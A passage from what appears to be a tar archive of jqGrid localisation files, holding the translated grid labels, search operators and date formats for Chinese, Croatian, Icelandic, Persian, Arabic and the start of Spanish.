共 {1} 頁", savetext: "Saving...", pgfirst : "First Page", pglast : "Last Page", pgnext : "Next Page", pgprev : "Previous Page", pgrecs : "Records per Page", showhide: "Toggle Expand Collapse Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "搜尋...", Find: "搜尋", Reset: "重設", odata: [{ oper:'eq', text:"等於 "},{ oper:'ne', text:"不等於 "},{ oper:'lt', text:"小於 "},{ oper:'le', text:"小於等於 "},{ oper:'gt', text:"大於 "},{ oper:'ge', text:"大於等於 "},{ oper:'bw', text:"開始於 "},{ oper:'bn', text:"不開始於 "},{ oper:'in', text:"在其中 "},{ oper:'ni', text:"不在其中 "},{ oper:'ew', text:"結束於 "},{ oper:'en', text:"不結束於 "},{ oper:'cn', text:"包含 "},{ oper:'nc', text:"不包含 "},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [ { op: "AND", text: "所有" }, { op: "OR", text: "任一" } ], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "新增記錄", editCaption: "編輯記錄", bSubmit: "提交", bCancel: "取消", bClose: "關閉", saveData: "資料已改變,是否儲存?", bYes : "是", bNo : "否", bExit : "取消", msg: { required:"此欄必要", number:"請輸入有效的數字", minValue:"值必須大於等於 ", maxValue:"值必須小於等於 ", email: "不是有效的e-mail地址", integer: "請輸入有效整数", date: "請輸入有效時間", url: "網址無效。前綴必須為 ('http://' 或 'https://')", nodefined : " 未定義!", novalue : " 需要傳回值!", customarray : "自訂函數應傳回陣列!", customfcheck : "自訂檢查應有自訂函數!" } }, view : { caption: "查看記錄", bClose: "關閉" }, del : { caption: "刪除", msg: "刪除已選記錄?", bSubmit: "刪除", bCancel: "取消" }, nav : { edittext: "", edittitle: "編輯已選列", addtext:"", addtitle: "新增列", deltext: "", deltitle: "刪除已選列", searchtext: "", searchtitle: "搜尋記錄", refreshtext: "", refreshtitle: "重新整理表格", alertcap: "警告", alerttext: "請選擇列", viewtext: "", viewtitle: "檢視已選列", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col : { caption: "選擇欄", bSubmit: "確定", bCancel: "取消" }, errors : { errcap : "錯誤", nourl : "未設定URL", norecords: "無需要處理的記錄", model : "colNames 和 colModel 長度不同!" }, formatter : { integer : {thousandsSeparator: " ", defaultValue: '0'}, number : {decimalSeparator:".", thousandsSeparator: " ", decimalPlaces: 2, defaultValue: '0.00'}, currency : {decimalSeparator:".", thousandsSeparator: " ", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0.00'}, date : { dayNames: [ "日", "一", "二", "三", "四", "五", "六", "星期日", "星期一", "星期二", "星期三", "星期四", "星期五", "星期六" ], monthNames: [ "一", "二", "三", "四", "五", "六", "七", "八", "九", "十", "十一", "十二", "一月", "二月", "三月", "四月", "五月", "六月", "七月", "八月", "九月", "十月", "十一月", "十二月" ], AmPm : ["上午","下午","上午","下午"], S: function (j) {return j < 11 || j > 13 ? ['st', 'nd', 'rd', 'th'][Math.min((j - 1) % 10, 3)] : 'th';}, srcformat: 'Y-m-d', newformat: 'm-d-Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "Y/j/n", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y g:i:s A", MonthDay: "F d", ShortTime: "g:i A", LongTime: "g:i:s A", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-hr.js000064400000020070151677266200010466 0ustar00/** * jqGrid Croatian Translation * Version 1.0.1 (developed for jQuery Grid 4.4) * msajko@gmail.com * * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["hr"] = { defaults : { recordtext: "Pregled {0} - {1} od {2}", emptyrecords: "Nema zapisa", loadtext: "Učitavam...", pgtext : "Stranica {0} od {1}", savetext: "Saving...", pgfirst : "First Page", pglast : "Last Page", pgnext : "Next Page", pgprev : "Previous Page", pgrecs : "Records per Page", showhide: "Toggle Expand Collapse Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "Traži...", Find: "Pretraživanje", Reset: "Poništi", odata: [{ oper:'eq', text:"jednak"},{ oper:'ne', text:"nije identičan"},{ oper:'lt', text:"manje"},{ oper:'le', text:"manje ili identično"},{ oper:'gt', text:"veće"},{ oper:'ge', text:"veće ili identično"},{ oper:'bw', text:"počinje sa"},{ oper:'bn', text:"ne počinje sa "},{ oper:'in', text:"je u"},{ oper:'ni', text:"nije u"},{ oper:'ew', text:"završava sa"},{ oper:'en', text:"ne završava sa"},{ oper:'cn', text:"sadrži"},{ oper:'nc', text:"ne sadrži"},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [ { op: "I", text: "sve" }, { op: "ILI", text: "bilo koji" } ], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "Dodaj zapis", editCaption: "Promijeni zapis", bSubmit: "Preuzmi", bCancel: "Odustani", bClose: "Zatvri", saveData: "Podaci su promijenjeni! Preuzmi promijene?", bYes : "Da", bNo : "Ne", bExit : "Odustani", msg: { required:"Polje je obavezno", number:"Molim, unesite ispravan broj", minValue:"Vrijednost mora biti veća ili identična ", maxValue:"Vrijednost mora biti manja ili identična", email: "neispravan e-mail", integer: "Molim, unjeti ispravan cijeli broj (integer)", date: "Molim, unjeti ispravan datum ", url: "neispravan URL. Prefiks je obavezan ('http://' or 'https://')", nodefined : " nije definiran!", novalue : " zahtjevan podatak je obavezan!", customarray : "Opcionalna funkcija trebala bi bili polje (array)!", customfcheck : "Custom function should be present in case of custom checking!" } }, view : { caption: "Otvori zapis", bClose: "Zatvori" }, del : { caption: "Obriši", msg: "Obriši označen zapis ili više njih?", bSubmit: "Obriši", bCancel: "Odustani" }, nav : { edittext: "", edittitle: "Promijeni obilježeni red", addtext: "", addtitle: "Dodaj novi red", deltext: "", deltitle: "Obriši obilježeni red", searchtext: "", searchtitle: "Potraži zapise", refreshtext: "", refreshtitle: "Ponovo preuzmi podatke", alertcap: "Upozorenje", alerttext: "Molim, odaberi red", viewtext: "", viewtitle: "Pregled obilježenog reda", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col : { caption: "Obilježi kolonu", bSubmit: "Uredu", bCancel: "Odustani" }, errors : { errcap : "Greška", nourl : "Nedostaje URL", norecords: "Bez zapisa za obradu", model : "colNames i colModel imaju različitu duljinu!" }, formatter : { integer : {thousandsSeparator: ".", defaultValue: '0'}, number : {decimalSeparator:",", thousandsSeparator: ".", decimalPlaces: 2, defaultValue: '0,00'}, currency : {decimalSeparator:",", thousandsSeparator: ".", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0,00'}, date : { dayNames: [ "Ned", "Pon", "Uto", "Sri", "Čet", "Pet", "Sub", "Nedjelja", "Ponedjeljak", "Utorak", "Srijeda", "Četvrtak", "Petak", "Subota" ], monthNames: [ "Sij", "Velj", "Ožu", "Tra", "Svi", "Lip", "Srp", "Kol", "Ruj", "Lis", "Stu", "Pro", "Siječanj", "Veljača", "Ožujak", "Travanj", "Svibanj", "Lipanj", "Srpanj", "Kolovoz", "Rujan", "Listopad", "Studeni", "Prosinac" ], AmPm : ["am","pm","AM","PM"], S: function (j) {return ''}, srcformat: 'Y-m-d', newformat: 'd.m.Y.', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { // see http://php.net/manual/en/function.date.php for PHP format used in jqGrid // and see http://docs.jquery.com/UI/Datepicker/formatDate // and https://github.com/jquery/globalize#dates for alternative formats used frequently ISO8601Long: "Y-m-d H:i:s", ISO8601Short: "Y-m-d", // short date: // d - Day of the month, 2 digits with leading zeros // m - Numeric representation of a month, with leading zeros // Y - A full numeric representation of a year, 4 digits ShortDate: "d.m.Y.", // in jQuery UI Datepicker: "dd.mm.yy." // long date: // l - A full textual representation of the day of the week // j - Day of the month without leading zeros // F - A full textual representation of a month // Y - A full numeric representation of a year, 4 digits LongDate: "l, j. F Y", // in jQuery UI Datepicker: "dddd, d. MMMM yyyy" // long date with long time: // l - A full textual representation of the day of the week // j - Day of the month without leading zeros // F - A full textual representation of a month // Y - A full numeric representation of a year, 4 digits // H - 24-hour format of an hour with leading zeros // i - Minutes with leading zeros // s - Seconds, with leading zeros FullDateTime: "l, j. F Y H:i:s", // in jQuery UI Datepicker: "dddd, d. MMMM yyyy HH:mm:ss" // month day: // d - Day of the month, 2 digits with leading zeros // F - A full textual representation of a month MonthDay: "d F", // in jQuery UI Datepicker: "dd MMMM" // short time (without seconds) // H - 24-hour format of an hour with leading zeros // i - Minutes with leading zeros ShortTime: "H:i", // in jQuery UI Datepicker: "HH:mm" // long time (with seconds) // H - 24-hour format of an hour with leading zeros // i - Minutes with leading zeros // s - Seconds, with leading zeros LongTime: "H:i:s", // in jQuery UI Datepicker: "HH:mm:ss" SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", // month with year // F - A full textual representation of a month // Y - A full numeric representation of a year, 4 digits YearMonth: "F Y" // in jQuery UI Datepicker: "MMMM yyyy" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-is.js000064400000014360151677266200010475 0ustar00/** * jqGrid Icelandic Translation * jtm@hi.is Univercity of Iceland * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["is"] = { defaults : { recordtext: "Skoða {0} - {1} af {2}", emptyrecords: "Engar færslur", loadtext: "Hleður...", pgtext : "Síða {0} af {1}", savetext: "Saving...", pgfirst : "First Page", pglast : "Last Page", pgnext : "Next Page", pgprev : "Previous Page", pgrecs : "Records per Page", showhide: "Toggle Expand Collapse Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "Leita...", Find: "Leita", Reset: "Endursetja", odata: [{ oper:'eq', text:"sama og"},{ oper:'ne', text:"ekki sama og"},{ oper:'lt', text:"minna en"},{ oper:'le', text:"minna eða jafnt og"},{ oper:'gt', text:"stærra en"},{ oper:'ge', text:"stærra eða jafnt og"},{ oper:'bw', text:"byrjar á"},{ oper:'bn', text:"byrjar ekki á"},{ oper:'in', text:"er í"},{ oper:'ni', text:"er ekki í"},{ oper:'ew', text:"endar á"},{ oper:'en', text:"endar ekki á"},{ oper:'cn', text:"inniheldur"},{ oper:'nc', text:"inniheldur ekki"},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [ { op: "AND", text: "allt" }, { op: "OR", text: "eða" } ], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "Bæta við færslu", editCaption: "Breyta færslu", bSubmit: "Vista", bCancel: "Hætta við", bClose: "Loka", saveData: "Gögn hafa breyst! Vista breytingar?", bYes : "Já", bNo : "Nei", bExit : "Hætta við", msg: { required:"Reitur er nauðsynlegur", number:"Vinsamlega settu inn tölu", minValue:"gildi verður að vera meira en eða jafnt og ", maxValue:"gildi verður að vera minna en eða jafnt og ", email: "er ekki löglegt email", integer: "Vinsamlega settu inn tölu", date: "Vinsamlega setti inn dagsetningu", url: "er ekki löglegt URL. Vantar ('http://' eða 'https://')", nodefined : " er ekki skilgreint!", novalue : " skilagildi nauðsynlegt!", customarray : "Fall skal skila fylki!", customfcheck : "Fall skal vera skilgreint!" } }, view : { caption: "Skoða færslu", bClose: "Loka" }, del : { caption: "Eyða", msg: "Eyða völdum færslum ?", bSubmit: "Eyða", bCancel: "Hætta við" }, nav : { edittext: " ", edittitle: "Breyta færslu", addtext:" ", addtitle: "Ný færsla", deltext: " ", deltitle: "Eyða færslu", searchtext: " ", searchtitle: "Leita", refreshtext: "", refreshtitle: "Endurhlaða", alertcap: "Viðvörun", alerttext: "Vinsamlega veldu færslu", viewtext: "", viewtitle: "Skoða valda færslu", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col : { caption: "Sýna / fela dálka", bSubmit: "Vista", bCancel: "Hætta við" }, errors : { errcap : "Villa", nourl : "Vantar slóð", norecords: "Engar færslur valdar", model : "Lengd colNames <> colModel!" }, formatter : { integer : {thousandsSeparator: " ", defaultValue: '0'}, number : {decimalSeparator:".", thousandsSeparator: " ", decimalPlaces: 2, defaultValue: '0.00'}, currency : {decimalSeparator:".", thousandsSeparator: " ", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0.00'}, date : { dayNames: [ "Sun", "Mán", "Þri", "Mið", "Fim", "Fös", "Lau", "Sunnudagur", "Mánudagur", "Þriðjudagur", "Miðvikudagur", "Fimmtudagur", "Föstudagur", "Laugardagur" ], monthNames: [ "Jan", "Feb", "Mar", "Apr", "Maí", "Jún", "Júl", "Ágú", "Sep", "Oct", "Nóv", "Des", "Janúar", "Febrúar", "Mars", "Apríl", "Maí", "Júný", "Júlý", "Ágúst", "September", "Október", "Nóvember", "Desember" ], AmPm : ["am","pm","AM","PM"], S: function (j) {return j < 11 || j > 13 ? ['st', 'nd', 'rd', 'th'][Math.min((j - 1) % 10, 3)] : 'th'}, srcformat: 'Y-m-d', newformat: 'd/m/Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "n/j/Y", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y g:i:s A", MonthDay: "F d", ShortTime: "g:i A", LongTime: "g:i:s A", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-fa.js000064400000020550151677266200010446 0ustar00/** * jqGrid Persian Translation * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["fa"] = { defaults: { recordtext: "نمابش {0} - {1} از {2}", emptyrecords: "رکوردی یافت نشد", loadtext: "بارگزاري...", savetext: "Saving...", pgtext: "صفحه {0} از {1}", pgfirst : "First Page", pglast : "Last Page", pgnext : "Next Page", pgprev : "Previous Page", pgrecs : "Records per Page", showhide: "Toggle Expand Collapse Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search: { caption: "جستجو...", Find: "يافته ها", Reset: "از نو", odata: [{ oper:'eq', text:"برابر"},{ oper:'ne', text:"نا برابر"},{ oper:'lt', text:"به"},{ oper:'le', text:"کوچکتر"},{ oper:'gt', text:"از"},{ oper:'ge', text:"بزرگتر"},{ oper:'bw', text:"شروع با"},{ oper:'bn', text:"شروع نشود با"},{ oper:'in', text:"نباشد"},{ oper:'ni', text:"عضو این نباشد"},{ oper:'ew', text:"اتمام با"},{ oper:'en', text:"تمام نشود با"},{ oper:'cn', text:"حاوی"},{ oper:'nc', text:"نباشد حاوی"},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [{ op: "AND", text: "کل" }, { op: "OR", text: "مجموع" }], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit: { addCaption: "اضافه کردن رکورد", editCaption: "ويرايش رکورد", bSubmit: "ثبت", bCancel: "انصراف", bClose: "بستن", saveData: "دیتا تعییر کرد! ذخیره شود؟", bYes: "بله", bNo: "خیر", bExit: "انصراف", msg: { required: "فيلدها بايد ختما پر شوند", number: "لطفا عدد وعتبر وارد کنيد", minValue: "مقدار وارد شده بايد بزرگتر يا مساوي با", maxValue: "مقدار وارد شده بايد کوچکتر يا مساوي", email: "پست الکترونيک وارد شده معتبر نيست", integer: "لطفا يک عدد صحيح وارد کنيد", date: "لطفا يک تاريخ معتبر وارد کنيد", url: "این آدرس صحیح نمی باشد. پیشوند نیاز است ('http://' یا 'https://')", nodefined: " تعریف نشده!", novalue: " مقدار برگشتی اجباری است!", customarray: "تابع شما باید مقدار آرایه داشته باشد!", customfcheck: "برای داشتن متد دلخواه شما باید سطون با چکینگ دلخواه داشته باشید!" } }, view: { caption: "نمایش رکورد", bClose: "بستن" }, del: { caption: "حذف", msg: "از حذف گزينه هاي انتخاب شده مطمئن هستيد؟", bSubmit: "حذف", bCancel: "ابطال" }, nav: { edittext: " ", edittitle: "ويرايش رديف هاي انتخاب شده", addtext: " ", addtitle: "افزودن رديف جديد", deltext: " ", deltitle: "حذف ردبف هاي انتیاب شده", searchtext: " ", searchtitle: "جستجوي رديف", refreshtext: "", refreshtitle: "بازيابي مجدد صفحه", alertcap: "اخطار", alerttext: "لطفا يک رديف انتخاب کنيد", viewtext: "", viewtitle: "نمایش رکورد های انتخاب شده", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col: { caption: "نمايش/عدم نمايش ستون", bSubmit: "ثبت", bCancel: "انصراف" }, errors: { errcap: "خطا", nourl: "هيچ آدرسي تنظيم نشده است", norecords: "هيچ رکوردي براي پردازش موجود نيست", model: "طول نام ستون ها محالف ستون هاي مدل مي باشد!" }, formatter: { integer: { thousandsSeparator: " ", defaultValue: "0" }, number: { decimalSeparator: ".", thousandsSeparator: " ", decimalPlaces: 2, defaultValue: "0.00" }, currency: { decimalSeparator: ".", thousandsSeparator: " ", decimalPlaces: 2, prefix: "", suffix: "", defaultValue: "0" }, date: { dayNames: ["يک", "دو", "سه", "چهار", "پنج", "جمع", "شنب", "يکشنبه", "دوشنبه", "سه شنبه", "چهارشنبه", "پنجشنبه", "جمعه", "شنبه"], monthNames: ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec", "ژانويه", "فوريه", "مارس", "آوريل", "مه", "ژوئن", "ژوئيه", "اوت", "سپتامبر", "اکتبر", "نوامبر", "December"], AmPm: ["ب.ظ", "ب.ظ", "ق.ظ", "ق.ظ"], S: function (b) { return b < 11 || b > 13 ? ["st", "nd", "rd", "th"][Math.min((b - 1) % 10, 3)] : "th" }, srcformat: "Y-m-d", newformat: "d/m/Y", parseRe : /[#%\\\/:_;.,\t\s-]/, masks: { ISO8601Long: "Y-m-d H:i:s", ISO8601Short: "Y-m-d", ShortDate: "n/j/Y", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y g:i:s A", MonthDay: "F d", ShortTime: "g:i A", LongTime: "g:i:s A", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit: false, userLocalTime : false }, baseLinkUrl: "", showAction: "نمايش", target: "", checkbox: { disabled: true }, idName: "id" }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; }));i18n/grid.locale-ar.js000064400000015161151677266200010464 0ustar00/** * jqGrid Arabic Translation * * http://trirand.com/blog/ * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["ar"] = { defaults : { recordtext: "تسجيل {0} - {1} على {2}", emptyrecords: "لا يوجد تسجيل", loadtext: "تحميل...", savetext: "Saving...", pgtext : "صفحة {0} على {1}", pgfirst : "First Page", pglast : "Last Page", pgnext : "Next Page", pgprev : "Previous Page", pgrecs : "Records per Page", showhide: "Toggle Expand Collapse Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "بحث...", Find: "بحث", Reset: "إلغاء", odata: [{ oper:'eq', text:"يساوي"},{ oper:'ne', text:"يختلف"},{ oper:'lt', text:"أقل"},{ oper:'le', text:"أقل أو يساوي"},{ oper:'gt', text:"أكبر"},{ oper:'ge', text:"أكبر أو يساوي"},{ oper:'bw', text:"يبدأ بـ"},{ oper:'bn', text:"لا يبدأ بـ"},{ oper:'in', text:"est dans"},{ oper:'ni', text:"n'est pas dans"},{ oper:'ew', text:"ينته بـ"},{ oper:'en', text:"لا ينته بـ"},{ oper:'cn', text:"يحتوي"},{ oper:'nc', text:"لا يحتوي"},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [ { op: "مع", text: "الكل" }, { op: "أو", text: "لا أحد" }], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "اضافة", editCaption: "تحديث", bSubmit: "تثبيث", bCancel: "إلغاء", bClose: "غلق", saveData: "تغيرت المعطيات هل تريد التسجيل ?", bYes: "نعم", bNo: "لا", bExit: "إلغاء", msg: { required: "خانة إجبارية", number: "سجل رقم صحيح", minValue: "يجب أن تكون القيمة أكبر أو تساوي 0", maxValue: "يجب أن تكون القيمة أقل أو تساوي 0", email: "بريد غير صحيح", integer: "سجل عدد طبييعي صحيح", url: "ليس عنوانا صحيحا. البداية الصحيحة ('http://' أو 'https://')", nodefined : " ليس محدد!", novalue : " قيمة الرجوع مطلوبة!", customarray : "يجب على الدالة الشخصية أن تنتج جدولا", customfcheck : "الدالة الشخصية مطلوبة في حالة التحقق الشخصي" } }, view : { caption: "رأيت التسجيلات", bClose: "غلق" }, del : { caption: "حذف", msg: "حذف التسجيلات المختارة ?", bSubmit: "حذف", bCancel: "إلغاء" }, nav : { edittext: " ", edittitle: "تغيير التسجيل المختار", addtext:" ", addtitle: "إضافة تسجيل", deltext: " ", deltitle: "حذف التسجيل المختار", searchtext: " ", searchtitle: "بحث عن تسجيل", refreshtext: "", refreshtitle: "تحديث الجدول", alertcap: "تحذير", alerttext: "يرجى إختيار السطر", viewtext: "", viewtitle: "إظهار السطر المختار", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col : { caption: "إظهار/إخفاء الأعمدة", bSubmit: "تثبيث", bCancel: "إلغاء" }, errors : { errcap : "خطأ", nourl : "لا يوجد عنوان محدد", norecords: "لا يوجد تسجيل للمعالجة", model : "عدد العناوين (colNames) <> عدد التسجيلات (colModel)!" }, formatter : { integer : {thousandsSeparator: " ", defaultValue: '0'}, number : {decimalSeparator:",", thousandsSeparator: " ", decimalPlaces: 2, defaultValue: '0,00'}, currency : {decimalSeparator:",", thousandsSeparator: " ", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0,00'}, date : { dayNames: [ "الأحد", "الإثنين", "الثلاثاء", "الأربعاء", "الخميس", "الجمعة", "السبت", "الأحد", "الإثنين", "الثلاثاء", "الأربعاء", "الخميس", "الجمعة", "السبت" ], monthNames: [ "جانفي", "فيفري", "مارس", "أفريل", "ماي", "جوان", "جويلية", "أوت", "سبتمبر", "أكتوبر", "نوفمبر", "ديسمبر", "جانفي", "فيفري", "مارس", "أفريل", "ماي", "جوان", "جويلية", "أوت", "سبتمبر", "أكتوبر", "نوفمبر", "ديسمبر" ], AmPm : ["صباحا","مساءا","صباحا","مساءا"], S: function (j) {return j == 1 ? 'er' : 'e';}, srcformat: 'Y-m-d', newformat: 'd/m/Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "n/j/Y", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y g:i:s A", MonthDay: "F d", ShortTime: "g:i A", LongTime: "g:i:s A", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-es.js000064400000015171151677266200010472 0ustar00/** * jqGrid Spanish Translation * Traduccion jqGrid en Español por Yamil Bracho * Traduccion corregida y ampliada por Faserline, S.L. * http://www.faserline.com * Traduccion corregida y ampliada por Fernán Castro Asensio * Traducción corregida y ampliada por Luis Sánchez * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["es"] = { defaults : { recordtext: "Mostrando {0} - {1} de {2}", emptyrecords: "Sin registros que mostrar", loadtext: "Cargando...", savetext: "Guardando...", pgtext : "Página {0} de {1}", pgfirst : "Primera Página", pglast : "Última Página", pgnext : "Página Siguiente", pgprev : "Página Anterior", 